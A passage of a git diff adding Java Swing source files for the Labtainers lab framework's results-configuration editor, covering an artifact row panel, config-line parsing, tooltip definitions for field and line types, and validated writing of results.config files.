.addComponent(DeleteButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 69, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(rowLabel) + .addGap(19, 19, 19)) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(UpButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(DownButton)) + .addComponent(DeleteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE)) + ); + }// //GEN-END:initComponents + + private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed + JPanel container = (JPanel)this.getParent(); + container.remove(this); + uiResult.dataUI.rowCount--; + uiResult.refresh(); + }//GEN-LAST:event_DeleteButtonActionPerformed + + private void TimeStampComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_TimeStampComboBoxItemStateChanged + timeStampListener(); + }//GEN-LAST:event_TimeStampComboBoxItemStateChanged + + private void LineTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_LineTypeComboBoxItemStateChanged + lineTypeListener(); + }//GEN-LAST:event_LineTypeComboBoxItemStateChanged + + private void FieldTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_FieldTypeComboBoxItemStateChanged + fieldTypeListener(); + }//GEN-LAST:event_FieldTypeComboBoxItemStateChanged + + private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed + swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_UpButtonActionPerformed + + private void DownButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DownButtonActionPerformed + swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_DownButtonActionPerformed + + //The listeners sees what values are present in their respective fields and then changes the interface based on that(remove or adding other fields) + private void lineTypeListener(){ + ToolTipWrapper lineType = (ToolTipWrapper)LineTypeComboBox.getSelectedItem(); + + if(lineType.getItem().equals("NONE")){ + LineIDTextField.setVisible(false); + } + else + LineIDTextField.setVisible(true); + + + //Does the line type allow for LOG_TS option in the TimeStampComboBox? + if(LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())){ + //Add "LOG_TS" to the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1) + TimeStampComboBox.addItem(SpecialTimeStampType[0]); + } + else{ + ToolTipWrapper fieldTypeTTW = (ToolTipWrapper)FieldTypeComboBox.getSelectedItem(); + //Remove "LOG_TS" from the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_ACCESIBLE_FieldType.contains(fieldTypeTTW.getItem())) + TimeStampComboBox.removeItem(SpecialTimeStampType[0]); + } + + this.revalidate(); + this.repaint(); + } + + private void fieldTypeListener(){ + ToolTipWrapper fieldType = (ToolTipWrapper)FieldTypeComboBox.getSelectedItem(); + + //Does the fieldType allow for certain user inputs + if(!justFieldType.contains(fieldType.getItem())){ + FieldIDTextField.setVisible(true); + if(lineParamAccessible.contains(fieldType.getItem())){ + LineTypeComboBox.setVisible(true); + LineIDTextField.setVisible(true); + } + else{ + setLineTypeComboBox(LineType_ITEMS[0]); + LineTypeComboBox.setVisible(false); + setLineIDTextField(""); + LineIDTextField.setVisible(false); + } + } + else{ + setFieldIDTextField(""); + FieldIDTextField.setVisible(false); + setLineTypeComboBox(LineType_ITEMS[0]); + LineTypeComboBox.setVisible(false); + setLineIDTextField(""); + LineIDTextField.setVisible(false); + } + + /* + If the selected Field Type allows for the "LOG_TS" and "LOG_RANGE" in the timeStampComboBox, + then make sure to add them if they aren't there already + */ + if(LOG_ACCESIBLE_FieldType.contains(fieldType.getItem())){ + //Add "LOG_TS" to the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1) + TimeStampComboBox.addItem(SpecialTimeStampType[0]); + //Add "LOG_RANGE" to the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) == -1) + TimeStampComboBox.addItem(SpecialTimeStampType[1]); + } + /* + If the selcted Field Type doesn't allow for "LOG_TS" and "LOG_RANGE" in the timeStampComboBox, + then make sure to remove them if they're still in the box + */ + else{ + ToolTipWrapper lineType = (ToolTipWrapper)LineTypeComboBox.getSelectedItem(); + //Remove "LOG_TS" from the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())) + TimeStampComboBox.removeItem(SpecialTimeStampType[0]); + //Remove "LOG_RANGE" from the timestampComboBox if it's there + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) != -1) + TimeStampComboBox.removeItem(SpecialTimeStampType[1]); + } + + ArtifactPanel.revalidate(); + ArtifactPanel.repaint(); + } + + private void timeStampListener(){ + ToolTipWrapper timestamptype = (ToolTipWrapper)TimeStampComboBox.getSelectedItem(); + //Does the timestamp Type allow for Time Delimiter input + if(timeStampDelimiterAccessible.contains(timestamptype.getItem())) + TimeDelimiterTextField.setVisible(true); + else{ + setTimeDelimiterTextField(""); + TimeDelimiterTextField.setVisible(false); + } + ArtifactPanel.revalidate(); + ArtifactPanel.repaint(); + } + + //Swaps artifact order in the list of artifacts and then redraws them + void swapUpdate(String type, int rowIndex){ + //System.out.println("RowCOUNT(swap): " +dataUI.rowCount); + dataUI.updateListofArtifacts(uiResult.getPanelofArtifacts()); + dataUI.swapArtifacts(type, rowIndex); + uiResult.artifactsPanelRedraw(); + } + + + //Field Getters + public JComboBox getContainerComboBox(){ + return ContainerComboBox; + } + public JTextField getFieldIDTextField(){ + return FieldIDTextField; + } + public JTextField getTagTextField(){ + return TagTextField; + } + public JTextField getFileTextField(){ + return FileTextField; + } + public JComboBox getFieldTypeComboBox(){ + return FieldTypeComboBox; + } + public JTextField getLineIDTextField(){ + return LineIDTextField; + } + public JComboBox getLineTypeComboBox(){ + return LineTypeComboBox; + } + public JComboBox getTimeStampComboBox(){ + return TimeStampComboBox; + } + public JTextField getTimeStampTextField(){ + return TimeDelimiterTextField; + } + + //Field SETTERS + private void setContainerComboBox(String v){ + ContainerComboBox.setSelectedItem(v); + } + private void setFieldIDTextField(String v){ + FieldIDTextField.setText(v); + } + private void setTagTextField(String v){ + TagTextField.setText(v); + } + private void setFileTextField(String v){ + FileTextField.setText(v); + } + private void setFieldTypeComboBox(ToolTipWrapper v){ + FieldTypeComboBox.setSelectedItem(v); + } + private void setLineIDTextField(String v){ + LineIDTextField.setText(v); + } + private void setLineTypeComboBox(ToolTipWrapper v){ + LineTypeComboBox.setSelectedItem(v); + } + private void setTimeStampComboBox(ToolTipWrapper v){ + TimeStampComboBox.setSelectedItem(v); + } + private void setTimeDelimiterTextField(String v){ + TimeDelimiterTextField.setText(v); +} + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JPanel ArtifactPanel; + private javax.swing.JComboBox ContainerComboBox; + private javax.swing.JButton DeleteButton; + private javax.swing.JButton DownButton; + private javax.swing.JTextField FieldIDTextField; + private javax.swing.JComboBox FieldTypeComboBox; + private javax.swing.JTextField FileTextField; + private javax.swing.JTextField LineIDTextField; + private javax.swing.JComboBox LineTypeComboBox; + private javax.swing.JTextField TagTextField; + private javax.swing.JTextField TimeDelimiterTextField; + private javax.swing.JComboBox TimeStampComboBox; + private javax.swing.JButton UpButton; + private javax.swing.JLabel rowLabel; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java new file mode 100644 index 000000000..ad1ed3521 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java @@ -0,0 +1,269 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package ResultsUI; + +import static ResultsUI.ParamReferenceStorage.FieldType_ITEMS; +import static ResultsUI.ParamReferenceStorage.LineType_ITEMS; +import static ResultsUI.ParamReferenceStorage.SpecialTimeStampType; +import static ResultsUI.ParamReferenceStorage.TimestampType_ITEMS; +import static ResultsUI.ParamReferenceStorage.justFieldType; +import static ResultsUI.ParamReferenceStorage.lineParamAccessible; + +/** + * + * @author Dan + */ + +/* +Errors that need to be fixed/Notes to consider: +****The param parsing in this class is critically dependent to where the param value's corresponding index is on the artifact line. + If at any point this alignment is modified with less or more params, this code will need to be revised + +****If the Line ID or the Field ID input contains a " : " in it, then the code will add everything after the " : " to the "line ID, or field ID". + For the Field ID, it adds all the " : " parsed values after the field type, until it hits a Line Type(excludes the line type value) + +****Currently this code will allow/read weird inputs like "CONTAINS : LINE : STUFF" in field ID or Line ID (which breaks the parsing) +*/ +public class ArtifactValues { + //Values to be obtained + String resultTag, container, fileID, fieldID, lineID, timeStampDelimiter; + + ToolTipHandlers.ToolTipWrapper fieldType, lineType, timeStampType; + + //Stores the values of an arifactline fed into it (NO real value validation happening here) + ArtifactValues(String artifactLine){ + resultTag = container = fileID = fieldID = lineID = timeStampDelimiter = ""; + + fieldType = lineType = timeStampType = null; + + //Parsing the artifactline + String[] paramParsedLine = artifactLine.split(" : "); + + //Get the resultTag + resultTag = paramParsedLine[0].split(" = ")[0]; + + //Get the container, fieldID, timeStampType, and timeStampDelimiter + handleFileRef(paramParsedLine[0].split(" = ")[1]); + + //Get Field Type and Field ID (and the lineType and lineID depending on if the field type allows it): + + //Case where "TOKEN" field Type is not explicitly stated and the paramParsedLine index is off by 1 for fieldID, lineType, lineID + if(paramParsedLine[1].equals("ALL") || paramParsedLine[1].equals("LAST") || isInteger(paramParsedLine[1])){ + fieldType = FieldType_ITEMS[0]; //TOKEN + fieldID = paramParsedLine[1]; + + /* + If the paramParsedLine isn't just the fileID and the fieldID (note fieldType is assumed to be "Token"), + then that means we need to consider the other parms which are certainly* line type and line ID. + *if the user enters a bad config file this may cause an error. + */ + if(paramParsedLine.length > 2){ + lineType = itemFinder(LineType_ITEMS, paramParsedLine[2]); + lineID = paramParsedLine[3]; + } + else{ + lineType = LineType_ITEMS[0]; //NONE + lineID =""; + } + } + + //Case where the field type IS EXPLICITY stated + else{ + fieldType = itemFinder(FieldType_ITEMS, paramParsedLine[1]); + //If the field type is null after looking through the field type items, then it may be under the SpecialTimeStampType array + if(fieldType == null) + fieldType = itemFinder(SpecialTimeStampType, paramParsedLine[1]); + + //Does the field type consider other fields, if so then continue parsing for these values + if(!justFieldType.contains(fieldType.getItem())){ + //If the field Type doesn't bother with line Params then execute these details + if(!lineParamAccessible.contains(fieldType.getItem())){ + //Everything after the field type is considered the field ID (this ensures that the fieldID potentially split by " : " will all be captured and stored) + fieldID = artifactLine.split(fieldType + " : ")[1]; + + //If the fieldType is equal "FILE_REGEX_TS", then overwrite the fieldType to be "FILE_REGEX" and make the timeStampType to be "LOG_TS" + //If the fieldType is equal "LOG_TS", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_TS" + //If the fieldType is equal "LOG_RANGE", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_RANGE" + switch (fieldType.getItem()) { + case "FILE_REGEX_TS": + fieldType = FieldType_ITEMS[7]; //FILE REGEX + timeStampType = SpecialTimeStampType[0]; //LOG_TS + break; + case "LOG_TS": + fieldType = FieldType_ITEMS[6]; //CONTAINS + timeStampType = SpecialTimeStampType[0]; // LOG_TS + break; + case "LOG_RANGE": + fieldType = FieldType_ITEMS[6]; //CONTAINS + timeStampType = SpecialTimeStampType[1]; //LOG_RANGE + break; + default: + break; + } + + lineType = LineType_ITEMS[0]; //NONE + lineID = ""; + } + //If the field Type does bother with line Params then execute these details + else{ + int properLineTypeIndex = 3; //This value may be changed if user's field ID includes " : ", offsetting the parsing indexes + + /*The Field ID may include " : ". But since the line parsing breaks the line up based on " : ", + the for block below makes sure to the include the pieces that were broken up + */ + for(int i=2; i.[stdin | stdout | prgout] or file_path + if(!fileRef.contains(":")){ + container = "ALL"; + fileID = fileRef; + timeStampType = TimestampType_ITEMS[0]; //File + } + //Case 2: [container_name:].[stdin | stdout | prguot] + else if(fileRef.contains(":") && !fileRef.contains("/")){ + container = fileRef.split(":")[0]; + fileID = fileRef.split(":")[1]; + timeStampType = TimestampType_ITEMS[0]; //File + } + else{ + String[] parsedFileRef = fileRef.split(":"); + + if(parsedFileRef.length == 2){ + //Case 3: [container_name:]file_path + if(fileRef.indexOf(":") < fileRef.indexOf('/')){ + container = parsedFileRef[0]; + fileID = parsedFileRef[1]; + timeStampType = TimestampType_ITEMS[0]; //File + } + //Case 4: file_path[:time_delimiter] + else{ + fileID = parsedFileRef[0]; + //Set the timeStamp Type either to be "Service" or "Program" + if(parsedFileRef[1].contains(".service")){ + timeStampType = TimestampType_ITEMS[1]; //Service + timeStampDelimiter = parsedFileRef[1].replace(".service", ""); + } + else{ + timeStampType = TimestampType_ITEMS[2]; //Program + timeStampDelimiter = parsedFileRef[1]; + } + } + } + //Case 5: [container_name:]file_path[:time_delimiter] + else { + container = parsedFileRef[0]; + fileID = parsedFileRef[1]; + if(parsedFileRef[2].contains(".service")){ + timeStampType = TimestampType_ITEMS[1]; //Serivce + timeStampDelimiter = parsedFileRef[2].replace(".service", ""); + } + else{ + timeStampType = TimestampType_ITEMS[2]; //Program + timeStampDelimiter = parsedFileRef[2]; + } + } + } + } + + private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return item; + } + } + return null; + } + + private boolean itemExistCheck(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return true; + } + } + return false; + } + + private boolean isInteger(String s){ + try{ + Integer.parseInt(s); + + return true; + } + catch(NumberFormatException ex){ + return false; + } + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java new file mode 100644 index 000000000..5fe6a6281 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java @@ -0,0 +1,144 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package ResultsUI; + +import ResultsUI.ToolTipHandlers.ToolTipWrapper; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +/** + * + * @author Dan + */ +public class ParamReferenceStorage { + + public static final ToolTipWrapper[] FieldType_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("TOKEN", "Treat the line as space-delimited tokens."), + // 1 + new ToolTipWrapper("PARENS", "The desired value is contained in parenthesis."), + // 2 + new ToolTipWrapper("QUOTES", "The desired value is contained in quotes."), + // 3 + new ToolTipWrapper("SLASH", "The desired value is contained within slashes
" + + "e.g., /foo/"), + // 4 + new ToolTipWrapper("LINE_COUNT", "The quantity of lines in the file. Remaining fields
" + + "are ignored."), + // 5 + new ToolTipWrapper("CHECKSUM", "The result value is set to the md5 checksum
" + + "of the file."), + // 6 + new ToolTipWrapper("CONTAINS", "The result value is set to TRUE if the file
" + + "contains the string represented in field_id."), + // 7 + new ToolTipWrapper("FILE_REGEX", "The result value is set to TRUE if the file
" + + "contains the regular expression represented in field_id.
" + + "The python findall function is used on the entire file.
" + + "See the acl lab for an example of multi-line expressions."), + // 8 + new ToolTipWrapper("STRING_COUNT", "The result value is set to the quantity of
" + + "occurances of the string represented in field_id."), + // 9 + new ToolTipWrapper("COMMAND_COUNT", "Intended for use with bash_history files, counts
" + + "the occurances of the command given in the field_id.
"), + // 10 + new ToolTipWrapper("PARAM", "The result value is set to nth parameter
" + + "(0 is the program name), provided in the
" + + "program invocation."), + // 11 + new ToolTipWrapper("SEARCH", "The result is assigned the value of the search
" + + "defined by the given field_id, which is treated as an
" + + "expression having the syntax of pythons parse.search
" + + "function. E.g., \"frame.number=={:d}\" would
" + + "yield the frame number."), + // 12 + new ToolTipWrapper("GROUP", "Intended for use with \"REGEX\" line types, the
" + + "result is set to the value of the regex group
" + + "number named by the field_id. Regular expressions
" + + "and their groups are processed using the python
" + + "re.search semantics." ), + // 13 + new ToolTipWrapper("TIME_DELIM", "" )}; + + + public static final ToolTipWrapper[] LineType_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("NONE", ""), + // 1 + new ToolTipWrapper("LINE", "The line_id is an integer line number
" + + "(starting at one). Use of this to identify
" + + "lines is discouraged since minor lab changes
" + + "might alter the count."), + // 2 + new ToolTipWrapper("STARTSWITH", "the line_id is a string. This names the
" + + "first occurrence of a line that starts with
" + + "this string." ), + // 3 + new ToolTipWrapper("HAVESTRING", "The line_id is a string. This names the
" + + "first occurrence of a line that contains the
" + + "string." ), + // 4 + new ToolTipWrapper("REGEX", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + // 5 + new ToolTipWrapper("NEXT_STARTSWITH", "the line_id is a string. This names the
" + + "line preceeding the first occurrence of a line
" + + "that starts with this string.")}; + + + public static final ToolTipWrapper[] TimestampType_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("File", ""), + // 1 + new ToolTipWrapper("Service", ""), + // 2 + new ToolTipWrapper("Program", "")} ; + + + //****These items may need to be stored differently for better organization) + public static final ToolTipWrapper[] SpecialTimeStampType = new ToolTipWrapper[] { + //FIELDTYPES + // 0 + new ToolTipWrapper("LOG_TS", "Used with timestamped log files, this results in a
" + + "timestamped set of boolean results with a value
" + + "of TRUE for each log line that contains the string
" + + "represented in the field_id."), + // 1 + new ToolTipWrapper("LOG_RANGE", "Similar to LOG_TS, except the timestamped entries
" + + "are ranges delimited by the matching log entries."), + // 2 ***These items below do not appear in the comboboxes, they're here merely for reference + new ToolTipWrapper("FILE_REGEX_TS", ""), + //LINETYPES + new ToolTipWrapper("HAVESTRING_TS", ""), + + new ToolTipWrapper("REGEX_TS", "")}; + + + public static final Set LOG_ACCESIBLE_FieldType = new HashSet(Arrays.asList( + new String[] {"CONTAINS", "FILE_REGEX", "SEARCH"} + )); + + public static final Set LOG_TS_ACCESSIBLE_LineType = new HashSet(Arrays.asList( + new String[] {"HAVESTRING", "REGEX"} + )); + + public static final Set lineParamAccessible = new HashSet(Arrays.asList( + new String[] {"TOKEN", "PARENS", "QUOTES", "SLASH", "GROUP", "SEARCH"} + )); + + + public static final Set justFieldType = new HashSet(Arrays.asList( + new String[] {"LINE_COUNT", "CHECKSUM", "TIME_DELIM"} + )); + + + public static final Set timeStampDelimiterAccessible = new HashSet(Arrays.asList( + new String[] {"Service", "Program"} + )); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java new file mode 100644 index 000000000..5e0a325a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java @@ -0,0 +1,745 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package ResultsUI; + +import static ResultsUI.ParamReferenceStorage.justFieldType; +import static ResultsUI.ParamReferenceStorage.lineParamAccessible; +import static ResultsUI.ParamReferenceStorage.timeStampDelimiterAccessible; +import ResultsUI.ToolTipHandlers.ToolTipWrapper; +import java.awt.Component; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.swing.JOptionPane; +import javax.swing.JPanel; + +/** + * + * @author Dan + */ +public class ResultsData { + List listofArtifacts; + ArrayList containerList; + boolean labloaded; + String labname; + int rowCount; + + ResultsData(){ + listofArtifacts = new ArrayList<>(); + containerList = new ArrayList<>(); + labloaded = false; + labname = ""; + rowCount = 0; + } + + ResultsData(String labname){ + listofArtifacts = new ArrayList<>(); + containerList = new ArrayList<>(); + labloaded = false; + this.labname = labname; + rowCount = 0; + + getData(); + } + +//LOADING~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Checks if the lab exists and will get lab's result config data if it does + private void getData(){ + //Check if the Folder exists + String userHomeFolder = System.getProperty("user.home"); + File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); + + if(lab.isDirectory()){ + if(getContainers(lab) && getArtifacts()) + labloaded = true; + } + else + System.out.println("Lab does not exist!"); + } + + //Updates the containerlist (all artifct panels refer to this list to fill in the container combobox) + private boolean getContainers(File lab){ + File startConfig = new File(lab+"/config/start.config"); + + try { + if(startConfig.exists()){ + try (FileReader fileReader = new FileReader(startConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String line = bufferedReader.readLine(); + while (line != null) { + if(line.startsWith("CONTAINER")){ + containerList.add(line.split("\\s+")[1]); + } + line = bufferedReader.readLine(); + } + } + + //Every list of containers should include "ALL" to signify when the container_name is not specified in the file ID + if(containerList.size() > 1) + containerList.add("ALL"); + + return true; + } + else{ + System.out.println("start.config is missing"); + return false; + } + } + catch (FileNotFoundException ex) { + Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); + System.out.println("Issue with getting containers"); + return false; + } catch (IOException ex) { + Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); + System.out.println("Issue with getting containers"); + return false; + } + + } + + //Parses the results.config to obtain all the relevant artifact lines, + //extracts the values of each artifact line + //and then loads each artifact line's value into the list of Artifacts + private boolean getArtifacts(){ + ArrayList artifacts = getArtifactLines(); + + if(artifacts != null){ + //Fill the list of artifacts + for(String artifactLine : artifacts){ + ArtifactValues values = new ArtifactValues(artifactLine); + listofArtifacts.add(values); + rowCount++; + } + return true; + } + else + return false; + + } + + +//WRITING~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Update the results.config file with the user's input + protected void writeResultsConfig(JPanel PanelofArtifacts){ + try { + updateListofArtifacts(PanelofArtifacts); + String resultTag, + container, + file, + fieldType, + fieldID, + lineType, + lineID, + timeStampType, + timeStampDelimiter; + String resultsConfigText = ""; + + ErrorHandler error = new ErrorHandler(); + ArrayList resultTagList = new ArrayList<>(); //Used for duplication checking + + + //Iterate through each artifact + for(int i=0;i < listofArtifacts.size();i++){ + error.checkReset(); //Reset the error statuses for a new artifact line + + String artifactConfigLine = ""; + + //RESULTS TAG + resultTag = listofArtifacts.get(i).resultTag; + resultTagList.add(resultTag); + + //Checks if resultTag is valid or inputted + if(resultTag.matches("^[a-zA-Z0-9_]+$")) + artifactConfigLine += (resultTag + " = "); //add to artifact Config line + else if(resultTag.isEmpty() || resultTag.equals("")) + error.resultTagMissing = true; + else + error.resultError = true; + + //FILEID CONFIG + file = listofArtifacts.get(i).fileID; + container = listofArtifacts.get(i).container; + ToolTipWrapper timeStampTypeTTW = listofArtifacts.get(i).timeStampType; + timeStampType = timeStampTypeTTW.getItem(); + timeStampDelimiter = listofArtifacts.get(i).timeStampDelimiter; + + if(file.isEmpty() || file.equals("")){ + error.fileIDMissing = true; + } + //Checks if non-file-path file input has .stdin | .stdout | .prgout dottag + //Note: most OS, but Windows use backslashes as a File seperator + else if(!file.contains("/")){ + if(!file.contains(".")) + error.fileError = true; + else{ + String dotTag = file.substring(file.indexOf("."),file.length()); + if(!(dotTag.equals(".stdin") || dotTag.equals(".stdout") || dotTag.equals(".prgout"))) + error.fileError = true; + } + } + + //CONTAINER (if a specific container is selected) + if(containerList.size() > 1 && !container.equals("ALL")){ + artifactConfigLine += (container); + artifactConfigLine += ":"; + } + + //TIMESTAMP DELIMITER (if Serivce or Program was selected in the Timestamp combobox) + if(timeStampDelimiterAccessible.contains(timeStampType)){ + //Checks if the file is a file path when a user inputs a time delimiter + if(file.contains("/") && !(timeStampDelimiter.isEmpty() || timeStampDelimiter.equals(""))){ + artifactConfigLine += (file+ ":" + timeStampDelimiter); + + if((timeStampType).equals("Service")) + artifactConfigLine += ".service"; + } + else{ + if(!file.contains("/")) + error.timeDelimiterError = true; + else + error.timeDelimiterMissing = true; + } + } + else + artifactConfigLine += file; //could be a .[stdin | stdout | prgout], file_path + + + //FIELD TYPE + /* + If the timeStampType is "LOG_TS" and the fieldType is "CONTAINS", then the fieldType will be "LOG_TS" + If the timeStampType is "LOG_TS" and the fieldType is "FILE_REGEX", then the fieldType will be "FILE_REGEX_TS" + If the timeStampType is "LOG_RANGE" and the fieldType is "CONTAINS", then the fieldType will be "LOG_RANGE" + */ + ToolTipWrapper fieldTypeTTW = listofArtifacts.get(i).fieldType; + fieldType = fieldTypeTTW.getItem(); + + if(timeStampType.equals("LOG_TS")){ + if(fieldType.equals("CONTAINS")) + fieldType = "LOG_TS"; + else if(fieldType.equals("FILE_REGEX")) + fieldType = "FILE_REGEX_TS"; + } + if(timeStampType.equals("LOG_RANGE")){ + if(fieldType.equals("CONTAINS")) + fieldType = "LOG_RANGE"; + } + artifactConfigLine += (" : " + fieldType); + + //FIELD ID + //if field type is "LINE_COUNT or CHECKSUM" then don't look into the Field TYPE and Line ID and Line Type + if(!justFieldType.contains(fieldType)){ + fieldID = listofArtifacts.get(i).fieldID; + + //If the field type is TOKEN, check if the field ID is a number 1-9 or ALL or LAST + if(fieldType.equals("TOKEN") && (fieldID.equals("0") || !(fieldID.matches("^[0-9]+$") || fieldID.equals("ALL") || fieldID.equals("LAST")))) + error.fieldTypeTokenError = true; + + //If the field type is PARAM, check if the value is a postive number or zero + else if(fieldType.equals("PARAM") && !(fieldID.matches("^[0-9]+$"))) + error.fieldTypeParamError = true; + + //Check if the user didn't inputted anthing in the Field ID + else if(fieldID.isEmpty() || fieldID.equals("")) + error.fieldIDMissing = true; + + //If all is good with the above checks, then concatenate the fieldID to the artifactLine + else + artifactConfigLine += (" : " + fieldID); + + //LINE_TYPE and LINE ID + //Is LineType and Line ID relevant based on field type? if so, then... + if(lineParamAccessible.contains(fieldType)){ + ToolTipWrapper lineTypeTTW = listofArtifacts.get(i).lineType; + lineType = lineTypeTTW.getItem(); + lineID = listofArtifacts.get(i).lineID; + + if(!lineType.equals("NONE")){ + //Check if there is a line ID input if the user has a line type + if(lineID.isEmpty() || lineID.equals("")) + error.lineIDMissing = true; + else if(lineType.equals("LINE") && (lineID.equals("0") || !(lineID.matches("^[0-9]+$")))){ + error.lineIDError = true; + } + else if(timeStampType.equals("LOG_TS") && lineType.equals("HAVESTRING")) + artifactConfigLine += (" : " + "HAVESTRING_TS" + " : " + lineID); + else if(timeStampType.equals("LOG_TS") && lineType.equals("REGEX")) + artifactConfigLine += (" : " + "REGEX_TS" + " : " + lineID); + else + artifactConfigLine += (" : " + lineType + " : " + lineID); + } + } + } + + //If there's no error, put the artifactConfigLine in the resultsConfigText string, + //Otherwise the overallPass of the user input is false + if(error.userInputCheck(i+1)){ + if(i < listofArtifacts.size()-1) + artifactConfigLine+= System.lineSeparator(); + //Add the artifact config line to the Results Config text + resultsConfigText += artifactConfigLine; + } + else + error.fail(); + } + + //Check for duplicate result tags + error.checkDuplicateResultTags(resultTagList); + /* + for(String rt : resultTagList) + System.out.println(rt); + */ + + if(error.passStatus()){ + //Resets the results.config file + File resultsConfigFile = initializeResultConfig(); + + try ( //Write the resultsConfigText to the results.config + BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, true))) { + writer.write(resultsConfigText); + } + } + else + JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); + } + catch (IOException ex) { + Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); + } + } + + //Checks if the results.config file exists and prepares the result.config file for the lab + private File initializeResultConfig() throws IOException{ + //Get the filepath for the lab's results.config + String userHomeFolder = System.getProperty("user.home"); + File resultsConfigFile = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator + labname + File.separator + "instr_config" + File.separator + "results.config"); + + //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments + String baseText = + "# results.config" + System.lineSeparator() + + "#" + System.lineSeparator() + + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); + + if(resultsConfigFile.exists()){ + //Overwrite results.config file if it already exists + try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, false))) { + writer.write(baseText); + } + return 